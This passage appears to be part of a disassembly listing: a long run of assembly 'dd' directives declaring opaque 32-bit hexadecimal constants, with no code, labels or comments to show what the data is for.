		dd 8C05BCF4h, 8D36DD00h, 907B7AEAh, 0B6C931Dh, 24442E41h
		dd 0D6E3DC18h, 48218h, 225A47CEh, 5E3B36B5h, 5438F024h
		dd 56205472h, 430F5646h, 0C380175Fh, 588BDA8Eh,	0F4A21B2Ah
		dd 0BF767005h, 0BC09A9EEh, 2BCB279h, 0F8E05FE0h, 2040B01Ch
		dd 9358DF63h, 89C962B0h, 5714E18Fh, 0AC6C6402h,	4844E4A7h
		dd 60836861h, 874AA44Fh, 7D450C05h, 0BA8440C1h,	0ACC03C09h
		dd 83008C4Bh, 42760F43h, 0F20804F2h, 0AC22498Fh, 82744180h
		dd 39D43FA1h, 10D846C0h, 8302C303h, 5220C4BBh, 317B9480h
		dd 0D00D8A9Bh, 309A4F1Bh, 98E17C8h, 40CCBB01h, 79005CF0h
		dd 0B40485B3h, 48320D09h, 0DAE99CD8h, 65EA30h, 195C7FF0h
		dd 42F16F7Ch, 1C2F21D4h, 91CFEEDDh, 0C51BC0E4h,	1204BCE5h
		dd 40D23CDh, 0B2D74E0h,	0B7B8026Fh, 80EC60BBh, 3E1A4EB5h
		dd 38052320h, 3A82524h,	0A8690331h, 9007E4D7h, 8F21987Ch
		dd 57BF8C16h, 188B6853h
		dd 0A31EA3DEh, 68239017h, 9C8EB03Ch, 793F7B88h,	668000ECh
		dd 0EAE19AFDh, 41144779h, 8FE08B24h, 0BECA02E6h, 0B9287C97h
		dd 2631D13h, 6F55A6F4h,	3E71FC51h, 0F000E118h, 0FB7B1F8Eh
		dd 1D0AA840h, 58EFCF90h, 927AE909h, 89B08230h, 0F4FF45h
		dd 228CF15Eh, 934197F6h, 0E7C6AD1Dh, 91033C26h,	0A1DFCFh
		dd 85342E40h, 0F1B7D625h, 0EDB94560h, 1C940CE7h, 80DF1DD2h
		dd 9686A016h, 60B6A7F2h, 0A0465Eh, 0E7EFC28h, 60F0F55Bh
		dd 9AC1694Ch, 153F98E8h, 2070093h, 5A297596h, 34600078h
		dd 42795721h, 6E09E98Ch, 8B23917Bh, 0B4A80460h,	2AB48152h
		dd 64B83049h, 7C706B24h, 0A40D910Ah, 1345F81h, 0FCC983Ch
		dd 49D7378h, 0F78EFD62h, 1C18928Bh, 4AD99051h, 0B7011B18h
		dd 4106FA92h, 998CBB2Fh, 1C810C90h, 0A3B3C300h,	985D3413h
		dd 2650703Dh, 1085C08h,	1FC81A86h, 0B03B3EB6h, 0E900DE23h
		dd 8E6BA4EDh, 1F6207E1h, 925A33C6h, 9041DC5Fh, 0B6A9D4C7h
		dd 0E4A74E25h, 0F53B3B08h, 52EE8A00h, 87BCD003h, 0DB49100h
		dd 1A312474h, 64046E0Eh, 12DC27C2h, 8949ACE4h, 0FD7B8000h
		dd 9E9D301Dh, 88405A3Ch, 9300EDFDh, 0D426F06Ch,	763DB7Bh
		dd 34EE21CEh, 0A5A7B212h, 0D9BA2C0Eh, 0EC080F1Eh, 14A081D0h
		dd 0FFB333F0h, 673A7625h, 0B3F31294h, 30D0E258h, 2B09541Ch
		dd 54EF62Fh, 4C82C524h,	0CC02090Bh, 0B301DF13h,	98758999h
		dd 0F1B8446Dh, 0A7DC5209h, 918C59C0h, 0F0005BB0h, 8E993DAh
		dd 0E57E00E3h, 399019FAh, 1B2791CCh, 0A970A6D6h, 0EE88659h
		dd 0B7ABB011h, 0FD52805Dh, 0E4A6C2E6h, 8EF31903h, 48BAF00Fh
		dd 1C10D469h, 94F61F27h, 25B48314h, 0C4306733h,	0EDF16048h
		dd 40905EB5h, 4BE10AF0h, 77053ED2h, 7AF1F42Bh, 94E071C0h
		dd 0A59E055Ch, 504F83C8h, 219E44A8h, 465C48ACh,	9D6F0054h
		dd 3DDFF23Ch, 8BBE2706h, 57105464h, 880912ECh, 0A44147A5h
		dd 17F84CC7h, 0CB39DB12h, 242D78B3h, 0D996E868h, 5404D470h
		dd 188FD017h, 2F5B68ACh, 5D723B8h, 8272BDA3h, 20782794h
		dd 42156BA1h, 8CA074F0h, 0CD6FA458h, 0F0B3A8D3h, 1878502Ch
		dd 5F018D9h, 44CD990Bh,	350C84EDh, 688E94D4h, 0FC04B88h
		dd 41CA735h, 34238F7Ah,	18F4BCB8h, 3BE1C0F1h, 25202526h
		dd 8AC59448h, 0B3699703h, 1FE21284h, 96895E2h, 8860107Fh
		dd 37209430h, 3254BEC8h, 0DCD403F8h, 0D1804225h, 18ACD96Ch
		dd 0F1C9000Eh, 242BD9F7h, 3578EC82h, 0CD80F4B6h, 0AE2F5362h
		dd 1E310161h, 88B2C93Eh, 70402A1Bh, 22C8660Fh, 7A0A09C2h
		dd 40079C5h, 0BC306448h, 0B8BD5B30h, 0B9B582F3h, 1804D160h
		dd 0A41B062h, 5D50CC21h, 782EAFA8h, 3062B80h, 0E15AE811h
		dd 0A088B48Fh, 6F3557C0h, 0ADEE021Fh, 8A73CF19h, 0E1C0B080h
		dd 1D4A8349h, 1879A4C9h, 2C130AA8h, 2004A4A2h, 0CC163C84h
		dd 0F0B63618h, 9CBF9163h, 0A20678E8h, 183A14CCh, 286F2BFDh
		dd 0B755300Eh, 87EF4C40h, 0AF089960h, 174D8CBEh, 0C584601Ah
		dd 3A01EC24h, 0AC71BFA6h, 0C8707B84h, 0A2F32568h, 0E8C0904Dh
		dd 41B3BFh, 0BA542270h,	7B862188h, 0BE0B1E09h, 5EEC4A8Eh
		dd 2BC30910h, 8B2FD45Ah, 0B343D88h, 9A80F7F3h, 5101820Fh
		dd 8C7FBB0Bh, 21687329h, 18D5512Ch, 29302C1h, 0B283C27Dh
		dd 29C39CA0h, 8E016E40h, 0C0E27FA2h, 105018C1h,	773AE56h
		dd 0D6273669h, 914EF07Ah, 0BE88B770h, 3FDDB8DBh, 9C4C0ACAh
		dd 890BAC84h, 88F1D498h, 2116DCB8h, 68E04EB9h, 3A9925BEh
		dd 8B3D8CA2h, 5E7A6722h, 0BF900D54h, 0AC685450h, 8C3FE874h
		dd 0A6E38200h, 0ACA16831h, 845009FCh, 40E8DEE7h, 61811354h
		dd 25BBC091h, 0BD8068B5h, 84B18419h, 0BC18A171h, 97498303h
		dd 0E512C074h, 0C9E890EDh, 77CF300Ah, 0A63888B3h, 4281C4C8h
		dd 0C12741C0h, 0ACC8544Eh, 4D30EC0h, 0A7C00296h, 0B5706CC6h
		dd 0D68DDC91h, 4E646460h, 486EE481h, 54A6AB4Ch,	0D39588C0h
		dd 23A883C7h, 3962D824h, 0D9FD2F38h, 1B890038h,	52656033h
		dd 4C176778h, 0F0223A25h, 0D8C4A0EEh, 9A57ACC4h, 0BD7827A0h
		dd 46BBD81Dh, 0C6457C00h, 66C32FF0h, 4C96F1E8h,	2009248Eh
		dd 0F76ED70Bh, 0DA6124Fh, 67BA0134h, 0DC84C9D1h, 6331A432h
		dd 2190D8B8h, 5BC573ECh, 9B4894B0h, 0B805C0E0h,	266DC6ADh
		dd 6C78E7Fh, 0F05FD834h, 0BEB3C53Ah, 7D1C7A18h,	0E705C448h
		dd 0D8CED932h, 40C04A88h, 4C469BB0h, 9F095823h,	44F9EA7Bh
		dd 0AFF4BFC2h, 103C42C0h, 0B81B026Ch, 0ED27A074h, 5D7E2B8h
		dd 0FB40B8F6h, 2A3010Bh, 926B5F9h, 3092E81Ah, 0D3C45865h
		dd 6A41AB60h, 14381004h, 0F0E8E140h, 8BD308C0h,	0F2667A1h
		dd 723ED8C2h, 74B34800h, 0E4E3B4F1h, 0C4211383h, 0B9B0C7BCh
		dd 31DEF090h, 2F0D67E0h, 0C108901Dh, 6FC520h, 0BCF228AAh
		dd 9C4A9761h, 2721D51Ch, 0D9DB794Bh, 3E2A00C0h,	0F39EBDF5h
		dd 404E7105h, 5DC57ACDh, 99B88820h, 0B41804A5h,	0C52513ECh
		dd 8F1E00ACh, 6FF234B3h, 78A00A75h, 0FF01091Dh,	78EF21C3h
		dd 1980AF1Bh, 0E8CD9CA2h, 0D200682Ah, 1F4A88D0h, 9C90C5DEh
		dd 5A068090h, 8011A214h, 653D5974h, 6F39936Ah, 0B0C0D4DAh
		dd 0E8265B4Ah, 8DB442F7h, 0DC6054h, 4B26179Bh, 213A7A93h
		dd 465E3C9Eh, 7F8C02A1h, 55E9839Fh, 3C235001h, 28093BCCh
		dd 0CFA90774h, 53FC9DF0h, 71241A1Dh, 0E8DC4081h, 0D3465Eh
		dd 0FC7F51DAh, 170C871Fh, 0E05BEF8Eh, 0C805209Ch, 985FBB79h
		dd 0BC125CE9h, 93888203h, 4DAAA863h, 0ACE238DEh, 84C0D608h
		dd 0F07BC729h, 3417CA58h, 0B45F5198h, 0B759A039h, 185A241Bh
		dd 63240C8h, 31AD82E1h,	0F1305106h, 7C6B6940h, 2DE000D2h
		dd 8C8D234Dh, 260BD6B5h, 45392088h, 8011EE5Ch, 65A8A722h
		dd 617524ECh, 33AC28E0h, 205073C4h, 8047B8A9h, 0B4BF8DA8h
		dd 9F380585h, 1F01F8B7h, 57F4C4C1h, 6BF29701h, 0AC23903Ah
		dd 2C0D2300h, 1722489h,	0FE2B2FCh, 0A704831Dh, 0F3E4896Ch
		dd 9157098h, 3000F675h,	873B9318h, 0B89644A8h, 0A3F725EBh
		dd 7A13AC44h, 0A48845EDh, 5C7DACh, 0F9F3780Bh, 61A674BAh
		dd 0BF630900h, 0D74EA581h, 0C5F0C11Bh, 792D347Fh, 0C0973FECh
		dd 22490892h, 0AC8040F0h, 0B0E40FA7h, 0B660307h, 60B3C684h
		dd 8C6844D0h, 0D5DAD714h, 0BCD45CC8h, 0E9168CD7h, 88091C96h
		dd 0E5120BB2h, 624EE480h, 0A73CD3B6h, 3940B4EDh, 2E4E854h
		dd 0D1C90AF2h, 4F2FB282h, 3DC820CFh, 0B083176Fh, 857C2D27h
		dd 0DDC5E020h, 12003AE8h, 359CDAA6h, 3FD4EA54h,	0D6BCFD73h
		dd 21980E00h, 83917A9Bh, 0E510942Dh, 0E521BA20h, 465C6024h
		dd 67AC27A5h, 75270404h, 0DC861C18h, 1C20C2AFh,	9D29CB3h
		dd 3083DD22h, 1846A4B7h, 4154F0C0h, 98862D7Ch, 220908E4h
		dd 0A065A034h, 0B133F0A0h, 0AD153E0Fh, 91F98330h, 0B74A87CFh
		dd 3BCC4C02h, 155CD12Dh, 0E846905Fh, 68990AF0h,	2C3C1701h
		dd 1282505Dh, 8D885183h, 0F005DD63h, 0E7AF27F9h, 0E7B8BC1Ah
		dd 60A46484h, 55F01156h, 907D8C6Bh, 0EA0013B8h,	0C5F87DBh
		dd 0BA73DC69h, 54820AB8h, 68903464h, 8BD741A0h,	2C2E00B3h
		dd 9DAAE89Ch, 3D11F41Dh, 1DA0C80h, 16013BF1h, 8588F737h
		dd 94622F41h, 4008902Ch, 69A70EEBh, 0F482500h, 8411B8Fh
		dd 5640315h, 7FB8C6C1h,	7A8CA3EDh, 16147716h, 158D9C81h
		dd 23442F3Fh, 825706A9h
		dd 0D20791BDh, 5B250E58h, 8872F293h, 2770DD7Ah,	0B0E1D687h
		dd 88B1A371h, 0D28478h,	6C256A8Ch, 41110CEAh, 31100CB6h
		dd 0C3109C48h, 0A02F4FDBh, 59005723h, 4443E1CFh, 0F3F51F0Fh
		dd 89C24E8h, 4A163978h,	82492449h, 10464D8h, 0F278F06Fh
		dd 4C8244DEh, 67BAE31Ch, 60A2441Ch, 29A0A77h, 7C6A5DD6h
		dd 2C648309h, 0CDB5211Dh, 0A04E2CCFh, 0D4A0B90Bh, 6D9C0043h
		dd 45FD61CAh, 7A5C5EC8h, 0B6FF1060h, 80C71C2Dh,	0AF604B64h
		dd 0BAEC2132h, 2C232905h, 0C0CC59F0h, 0B6684A95h, 0B71FE0C8h
		dd 633B00F6h, 32EE2B19h, 0A51C84B3h, 80E74738h,	4034CB8Ch
		dd 0A070CB5Eh, 771004C4h, 3217111Ch, 0E04CE6D6h, 2D6A818h
		dd 0AD3402D0h, 20898EBEh, 6CC29C29h, 465E6074h,	0FBAD00A1h
		dd 0B0314603h, 0CF33258Dh, 0EBB57460h, 3DD1C8B9h, 3C0FF518h
		dd 11FE5Bh, 9E888035h, 0E47C0498h, 0CE9565EDh, 0C3A08890h
		dd 0EFE0066Ah, 0A2FD7D6h, 1DC0C8C6h, 0C5E809C4h, 0F05C1827h
		dd 7C007993h, 0ADF890E3h, 0AD40960Bh, 0E9188410h, 727D793Dh
		dd 82784003h, 0FC0A7BEAh, 0AC0B0CA9h, 0F848F158h, 8C03259Fh
		dd 0A22E6F88h, 0D9B2808Bh, 0AB62006Bh, 7CAFF072h, 914A426Dh
		dd 0E7DEC4D2h, 600264E0h, 168FF7B0h, 128E7C66h,	0A2D82076h
		dd 371263E7h, 9CAC25F5h, 23703AD3h, 0DE7101A0h,	0E04C04E7h
		dd 1F24EF18h, 0BC16C0B1h, 3BAAACC4h, 3D2310h, 19FDEF5Ch
		dd 5A096028h, 82B75E7Bh, 2F047Ch, 0DECFBD88h, 0B4BAE280h
		dd 600DC1Ch, 24A7D0Ah, 34BFCE3h, 0D7908697h, 0C81EBC87h
		dd 5B123C22h, 0B6D3B4F8h, 0BEB0A124h, 25BA8ED8h, 90A431ADh
		dd 0EC58C48Fh, 189913F0h, 0B9803C9Bh, 0D5CBC3F9h, 61957F16h
		dd 5FBB9030h, 0E7F60096h, 6F1A36CCh, 0F73E6354h, 51C831h
		dd 4DDDBFB8h, 34384178h, 0AD381769h, 467B898h, 13D99C6Eh
		dd 43C4C118h, 0C420008Ah, 883F5F24h, 0DF4C8D40h, 0F0E6936Ch
		dd 3BF899E3h, 0FD7E8E59h, 595C6E4Dh, 97EBC98h, 83D73098h
		dd 34BA0040h, 949D905Eh, 0A4E28822h, 25B86130h,	0CCF90A2Fh
		dd 0E818D279h, 0B5BDF700h, 9430FE48h, 0AC61976Fh, 748B2B8Ah
		dd 0E0C0D3C8h, 48DD91h,	8F8B5207h, 0AE1C12Bh, 0D8A4BA4Ah
		dd 0EF84E41Dh, 73E8922Fh, 0B7A4A95Fh, 8C888008h, 50F03BEBh
		dd 0B941E3EAh, 0B5897BFCh, 0CA006CB7h, 63F5659Bh, 0DEAF0102h
		dd 27BB196Bh, 8847460h,	0B069E200h, 92759D2Ch, 289410BEh
		dd 39411DBAh, 8B4A135h,	50649782h, 9941E245h, 0AC733B70h
		dd 0A7F0A696h, 0D5B4FD10h, 0A1AE1DB8h, 938424CCh, 96B8A87Fh
		dd 618AE07h, 0B89780DFh, 0A8D6528Dh, 3CF3110h, 7C399D94h
		dd 0E695C268h, 9DE92234h, 0D2912017h, 2A699A80h, 500BE68Bh
		dd 0C057DC5Ah, 454F07Ch, 83A0771Eh, 7B80B165h, 8A03186Eh
		dd 0F0EBCEFAh, 7AC520D0h, 0A497BE2Dh, 8CF21BECh, 9A940400h
		dd 27B141F3h, 7118F703h, 0C8FC2B9Fh, 4CDAB325h,	0BD2D5423h
		dd 293EF0C5h, 9A2DF027h, 115C9768h, 0D1009FA2h,	4A3CE58Bh
		dd 0F37C4AF3h, 0BFD30E1Ch, 14015393h, 94978A30h, 0D6D0FCC2h
		dd 0E6B76E00h, 49A27F62h, 4A93FFCh, 0E192E117h,	0E52DCC30h
		dd 39EB7307h, 7290780Fh, 3B93464Bh, 0F7AFC921h,	906D3424h
		dd 2D34ACD4h, 0D4E3C8D3h, 0B23006A2h, 30F00274h, 7EF2868h
		dd 3497B4D6h, 0F11BB092h, 7CF3A570h, 8771B659h,	176A6BD0h
		dd 284E9BCBh, 48CE814h,	90627995h, 0B038F896h, 798D57h
		dd 0C712E7ADh, 4DDAEF19h, 9090403Bh, 2D17B58Fh,	2F789091h
		dd 2E007698h, 39A84FCEh, 0B29CF5h, 41888765h, 1C3606D7h
		dd 0E3843012h, 1B1BBCA8h, 8BA8C1A1h, 7100621Eh,	44123BEAh
		dd 9634D73h, 4330882Eh,	0C3EE98EDh, 852DDBBEh, 0F5B148F6h
		dd 0B7DCD827h, 0F1AC8097h, 41B104Dh, 282CBA62h,	0B2C4E33Bh
		dd 0C0EB3004h, 0CC21C205h, 0E0926D08h, 7B6C52BBh, 41C30007h
		dd 298E17C9h, 0AF9590BEh, 0FFA72010h, 645EBAB5h, 0B929E085h
		dd 0CBB860h, 0BF9EA83Ch, 3B6880E3h, 19442614h, 0AD7961B8h
		dd 6E6EE6C6h, 8F220090h, 0A73E827Ah, 77040287h,	6BC265Bh
		dd 9F88A476h, 0B87027DEh, 0C7A5C44h, 3DB457C5h,	7501CF28h
		dd 8E015AB3h, 6AD3C7h, 0E6E1A20h, 9D73F7h, 0E3718218h
		dd 0D9B0B931h, 9ED18A4h, 47F78E64h, 142E2870h, 0E308B480h
		dd 841F0FAAh, 24C3F300h, 0B0974A18h, 222B8D8h, 9968DDDh
		dd 0D8F0EE7Bh, 40BD9Dh,	1E03D569h, 5F3EB848h, 1490CAB0h
		dd 0EE50F8h, 0BC56520Ah, 440D6A65h, 0BA83B911h,	30809E3Dh
		dd 0ECE35046h, 25051279h, 7DFB6E6Dh, 0E71600EFh, 943C1C51h
		dd 0E7C5CF2Dh, 60576480h, 17CEAE84h, 988E30h, 3B819782h
		dd 0D01C75F6h, 9280AD4Ah, 49A97BEAh, 8F5800ACh,	0DA611004h
		dd 0CA13118Bh, 4CB19340h, 48BCA43Ch, 13B0018Ch,	0B7A43202h
		dd 0D3C9A7C6h, 8767780Ch, 0F586D300h, 0A3792EC2h, 30114490h
		dd 0D7E0EDA0h, 293CE81Fh, 0AD9BF744h, 2F31D4C8h, 0D8021BBFh
		dd 2854C4C2h, 0A50B8D9Fh, 769CC288h, 4F00D608h,	58DAE591h
		dd 97242DB9h, 0C60B40E0h, 1DA823B7h, 0F0FFDA88h, 2A930008h
		dd 31F17379h, 50B6892Eh, 213100DCh, 1BB165DCh, 692EC6E6h
		dd 6F12E898h, 0D223683Bh, 0FC772100h, 0AA32725h, 0C872DB17h
		dd 7C9802D4h, 995FCF4Ch, 74329118h, 0ABAC000h, 3E2C1A46h
		dd 44746F5Fh, 0D188E88Bh, 0A4430CC0h, 55D305C1h, 0C2F959FAh
		dd 3777C673h, 334E0788h, 9A2A68h, 76EA080Fh, 3E3A2857h
		dd 749AF85Dh, 0D48C697h, 0A905663h, 3461D118h, 0F1C0F220h
		dd 9C3B971Ah, 0D6331208h, 0BD18B8B7h, 612730C2h, 924FA805h
		dd 248051DDh, 0BEBE5DF2h, 154B791Ch, 9AB8ACEDh,	24695400h
		dd 0DF20DE42h, 9848004Bh, 8FAE9F09h, 0CF041775h, 4158779h
		dd 0BC5FECC0h, 10908030h, 4FD2B9C0h, 0ECA6F18Bh, 0E4FB2DBEh
		dd 0A3F2AC46h, 0E2A12802h, 643EBF0Ah, 0D8ED9DACh, 0E4864761h
		dd 4C409020h, 0B325F015h, 0CCE274F0h, 9130E32Fh, 0E9BDB84Ch
		dd 0D7E7BC0Bh, 41158AEh, 3F5CC420h, 48B45CA4h, 0E04C4C8Fh
		dd 742C2281h, 8114645Ah, 989B19D6h, 6CB59680h, 65FA8E5Dh
		dd 2B543455h, 3E882C8Fh, 0F23A63C0h, 0CDC01F07h, 8DAB43DCh
		dd 0FFDAFD7h, 7B801D88h, 0A570E65h, 6806E975h, 8FBC5D98h
		dd 5EECB678h, 7800DE46h, 361E692Bh, 0ED130AF6h,	0E0047ED2h
		dd 9800C1EBh, 0C728E22Eh, 4FBCA358h, 8A7C80CCh,	0AF230884h
		dd 98E88034h, 8C03BCh, 1278AF0Eh, 0C6ABDC50h, 0E63B81C0h
		dd 5F2D5F2Eh, 59608866h, 64373200h, 7C738BFFh, 33AC336Ah
		dd 91C08991h, 0F01639EAh, 0F8D1B9ECh, 1C2CA987h, 0B241322h
		dd 0E94F10BEh, 5E3CF419h, 0A31F3E46h, 0DD438F66h, 4E7C8801h
		dd 0BE84EBF5h, 8E17846Bh, 6BC405D1h, 0EC8012D0h, 8C03F818h
		dd 0FBF2F00h, 6FA43064h, 0ED50D2BAh, 0A0FD9318h, 8200A6A8h
		dd 85B376D0h, 7E77F1B8h, 106AF904h, 3040A8BCh, 0B4C41622h
		dd 6D2C993Dh, 471A860h,	8A991320h, 0C20BA9Fh, 396175D6h
		dd 4C807C04h, 0AF8CEAECh, 3AE46595h, 0F4358E3Ch, 89321D2Dh
		dd 645847F8h, 313F60A3h, 0CA7B3BCCh, 0A8A27F3Eh, 700C672h
		dd 72FC877Eh, 619433h, 42313024h, 5DC28D9Bh, 0B147F130h
		dd 3D9370h, 7461A107h, 8419A914h, 0EBC1D800h, 7C907A6Fh
		dd 3EDE7083h, 0FF928EC5h, 250049A7h, 94302C90h,	22ADC72Fh
		dd 0DBF38D00h, 8EB878D0h
		dd 50CDC416h, 588BC4C4h, 0D5C002C8h, 4D494CFEh,	5A20DC92h
		dd 0A882F15Ah, 0BEEB21B7h, 84A1F294h, 2AE07633h, 0A6F9480h
		dd 89200E8h, 0D35052C3h, 561A3B73h, 7F202E38h, 75D812h
		dd 0C5168640h, 2D509879h, 0F86CA6CBh, 0F4D4B8BCh, 3B3A0044h
		dd 86936A91h, 5B7BD11Ch, 803E9831h, 0BBE8E217h,	4FC5B2Ch
		dd 0F20A2F90h, 31DEF280h, 304AF81Fh, 2192251Eh,	61C1D7C3h
		dd 0CFD81373h, 1280FD74h, 64E3BB94h, 0DF304EB2h, 80212598h
		dd 0CE3ED4F1h, 836BE820h, 13D0005Ch, 22449DC7h,	3A48417Dh
		dd 27BCC230h, 399000BAh, 4B619C8h, 3E57465Eh, 0EC2E804Bh
		dd 0D7C086EEh, 823A18DDh, 0D0D969BFh, 74C70100h, 7A4E609Ah
		dd 79661B58h, 82D85A03h, 0AD150B5Eh, 26D8C637h,	4440FCF2h
		dd 55E13D3h, 1485E121h,	9CFC8172h, 7F7C0265h, 7468C48Ah
		dd 0CE3D0146h, 8780F081h, 347B291Ch, 0C2882D68h, 474C20CCh
		dd 2BC81B17h, 3CF0F0E1h, 185C64ACh, 0F25CA27Fh,	6A11314Eh
		dd 1380C2h, 0AF1BDC30h,	0F3E4EA9Fh, 5C987350h, 473A97E0h
		dd 106EA56Ch, 80195730h, 3007B3CEh, 50F1A640h, 76C4DE89h
		dd 7C0B4E46h, 44667AC5h, 4656F894h, 0FE8F03A3h,	989701E0h
		dd 3A7D98F8h, 7C0117E7h, 27F99BF2h, 6C90500Ch, 0C94A9C6Eh
		dd 0A323902Fh, 0A17A2C00h, 5001129Eh, 40D8BC41h, 903A690Ch
		dd 88C0DBBFh, 14CE07h, 0D9321B0Bh, 2F47FC5h, 0FCEC28D2h
		dd 2C2B6AADh, 0B601A123h, 0EFE9E2EBh, 3BF88C2Fh, 5B80263Ah
		dd 16BBE4DCh, 9228BC5Fh, 0ECDE230Ch, 9C980369h,	0C9C2F80Fh
		dd 63AC25C4h, 3ED9A4D1h, 0E1038E18h, 6D8F0E05h,	916204FDh
		dd 84BD77EFh, 7020AF80h, 12360B98h, 7AC60F71h, 0CB920324h
		dd 3F40D02Ch, 28DC0BB0h, 0C837AC85h, 0EA0074F0h, 0EB73983Ch
		dd 2F79B1E1h, 2C483841h, 2D02A3BEh, 62642C23h, 0D1DC59AAh
		dd 3FF183Dh, 1E66F14Dh,	0CCB0C60Ch, 2F4FBB09h, 0D4609CF5h
		dd 92A640CBh, 0C2080400h, 843044ABh, 9319C07Fh,	2C379E3Bh
		dd 97AC5D2Dh, 800591F8h, 27BBBAC9h, 0A5165A80h,	5F10D2ECh
		dd 190262C8h, 98203F92h, 744A863Bh, 0E6870031h,	0F1BF486Dh
		dd 8E00B2C1h, 16CBC1Ah,	79C853E7h, 9FF37081h, 0CF6048EDh
		dd 3712A7B4h, 119AB1Bh,	0FC9B966Eh, 95004211h, 5AD262D4h
		dd 81260Dh, 0E208FF46h,	6D38BFEDh, 39A62532h, 6A04FEBDh
		dd 7E40DCCh, 0C931D9h, 69C37D6Ch, 2427C709h, 0CBC82332h
		dd 2CA9F0CAh, 832116C2h, 577C3049h, 82009DAFh, 0AB588764h
		dd 28A75022h, 4FE02A90h, 58041427h, 0E0FCE64Eh,	0B75D0A26h
		dd 8BC11C10h, 2DA4C401h, 6BE9FED6h, 0A0EBB120h,	25EF8FB0h
		dd 0EC5A8AABh, 173BD320h, 88A7C40Bh, 0BB03FA34h, 3FD90A49h
		dd 0A2D12220h, 56145B00h, 0ED955009h, 2D077A4Dh, 0DC0090E0h
		dd 4445E33h, 0B3807894h, 5071FE6Dh, 8C10D3F2h, 941230ECh
		dd 40ADDB1Bh, 1BB03D2h,	0EF8AEA5h, 0C42DCC21h, 4F28E864h
		dd 18AD84B6h, 29E7F661h, 626842FAh, 9604458h, 11B48322h
		dd 0F960D0F9h, 97A74F10h, 967BF410h, 0C40099E2h, 59CF2B1Eh
		dd 0F262D26Ah, 18B91F98h, 0CF5153CBh, 0A44F21B0h, 9C00D6D4h
		dd 0E57910EBh, 0CDEA08h, 880E30A3h, 16269F3Bh, 84A0024Fh
		dd 2CC42F5Fh, 4C1F94BDh, 927F61Eh, 905150h, 0C223EC72h
		dd 1305B89Bh, 0FFB24375h, 2B074082h, 0D4009444h, 0F0A4CA99h
		dd 4EDEB55h, 0B179F796h, 0E849EA05h, 0BCB81843h, 0A638202h
		dd 0EF2F4109h, 91478C7h, 3AD63464h, 6727A4FEh, 6003C4F0h
		dd 1286112Eh, 0F499BECBh, 0AC961B74h, 0E04A978Eh, 0AA50DDB4h
		dd 0A5C40322h, 8C193101h, 0A2C041B0h, 0C28AF174h, 8FA0C20Ch
		dd 38BC1210h, 8DA9C5C0h, 5C2D77D7h, 11F89D08h, 3BEA80A9h
		dd 27311BAAh, 10B78EBDh, 3898B700h, 0BC2413h, 1DF3CE33h
		dd 6FE22E99h, 2870C8B3h, 0F5CA1CD1h, 0CE1A0026h, 6FF727ACh
		dd 17BAA840h, 0B04588CCh, 0B189FDFCh, 0A8563310h, 0F88B174Bh
		dd 0A524E64Eh, 8D85A80h, 0DD7705F3h, 0A8823ED4h, 0F6448014h
		dd 0E2B9813h, 0B6028DDBh, 9126644Fh, 7A00D10Ah,	0E90727DDh
		dd 10F7279h, 4047E358h,	2E0E1CC6h, 63CAE081h, 30E491CDh
		dd 0EB5E3B15h, 7410933h, 93A5F680h, 9CE82C00h, 0B97C1372h
		dd 0DBCF2564h, 0F9305AFEh, 136E1C32h, 0A3A6B3F0h, 3054B2C4h
		dd 7101EF44h, 50184E38h, 89899ABEh, 0E0F92B1Ah,	5E944000h
		dd 0D4C63Ch, 8F65ED75h,	64E17C8Bh, 8784193Bh, 0D9F79433h
		dd 71FC5B7Bh, 0F381009Ah, 6B7D01A2h, 9534A60Bh,	0C46368h
		dd 0D33B5BE2h, 5DF48Ch,	7F47A598h, 19903E1Fh, 0E021CF27h
		dd 6091E9C0h, 5559C90Ch, 2B009CF8h, 5E99102Dh, 18C715D7h
		dd 59AD1BA0h, 0E1A3DBEEh, 0EAFB05C0h, 7E76633Ch, 246B311Fh
		dd 0A4321D41h, 3869C0D3h, 0E0C6AC80h, 0D09079C5h, 1D8E1013h
		dd 103864B1h, 0B857BBC1h, 93C03812h, 0D0BCD4BCh, 54B2008Ch
		dd 8B02E419h, 0B6691Eh,	0D960F12Dh, 0B3FD19A9h,	4033EC70h
		dd 90FC82C8h, 26006491h, 5F10F562h, 0BB810495h,	87241EF6h
		dd 6428F936h, 65B660CCh, 5007CC0h, 24FA0A6Dh, 17F82A7h
		dd 6F27AD09h, 2F29BE84h, 8CD0C8h, 67B376EAh, 10E2E3B4h
		dd 0E2786127h, 0E0204D94h, 0A17FB952h, 0BA01E400h, 0BF907C5Ch
		dd 0C5514B6Bh, 6C16EA80h, 0AD81E49Eh, 0E9BB0614h, 0E8357EE8h
		dd 0A2E000A6h, 0F402E099h, 0C72803F3h, 4D48C94Fh, 1635A870h
		dd 2F6F1984h, 0B052344h, 44865B07h, 0A0A2A144h,	4F440C47h
		dd 0ADBB2060h, 0D70418BFh, 0BD249CB3h, 0AC771F17h, 93732278h
		dd 0C3847AB8h, 0AF4482F6h, 541C8B75h, 0E00F628h, 0B759859Dh
		dd 0BB4B3C1h, 0C0E7DBC9h, 9117BC44h, 0C8C0A7F7h, 2590CA20h
		dd 0AC622BC7h, 2548BD5h, 4607B81Ch, 0A3E8CFD8h,	0C1521BA0h
		dd 0F8772E5Bh, 0CD6120CBh, 4DAC964h, 0E395B017h, 0C485B8ACh
		dd 7C32AA27h, 0DDAA203Ah, 28D7A333h, 0A65B00A9h, 0D54CF0B8h
		dd 0E8CD627Eh, 32D52810h, 59B8F178h, 1C0618D5h,	25D9C33h
		dd 668C3423h, 11E803DDh, 6E95B8A4h, 88C41920h, 685F183Ch
		dd 0CE333884h, 73A0CCA7h, 7C7C98CAh, 9012655Ah,	0FEB8CCADh
		dd 0FC1CA2E0h, 0A653E4CBh, 0C019E402h, 442C7EEEh, 0D03EEBFBh
		dd 3A095623h, 0A496006Ah, 9092B20h, 7057C41Dh, 0BD71202Ch
		dd 0F78E9C04h, 58D55477h, 58503CF2h, 40059DBBh,	8AD0F810h
		dd 0F500AD35h, 60489E3Fh, 0E5AB0003h, 0B8EA0801h, 0D50B5793h
		dd 72F0CAC1h, 3B62015Ch, 0AEBB5209h, 44B8F860h,	16001EF0h
		dd 0DD507E71h, 0B45DBE3Eh, 0FD7264ACh, 3D8EC1Ch, 0C956F242h
		dd 0CE93771Bh, 0A3345857h, 0DA03909Bh, 0CF07025Ch, 0C921EF29h
		dd 0A26FE040h, 17E80949h, 30BC0A8Eh, 0EC551F80h, 1000A5B3h
		dd 576B9404h, 0B38E61Dh, 37C6F83Bh, 26FA68E4h, 427D09E8h
		dd 0A6FAF901h, 55125848h, 11800028h, 0A52A54DEh, 80E2B838h
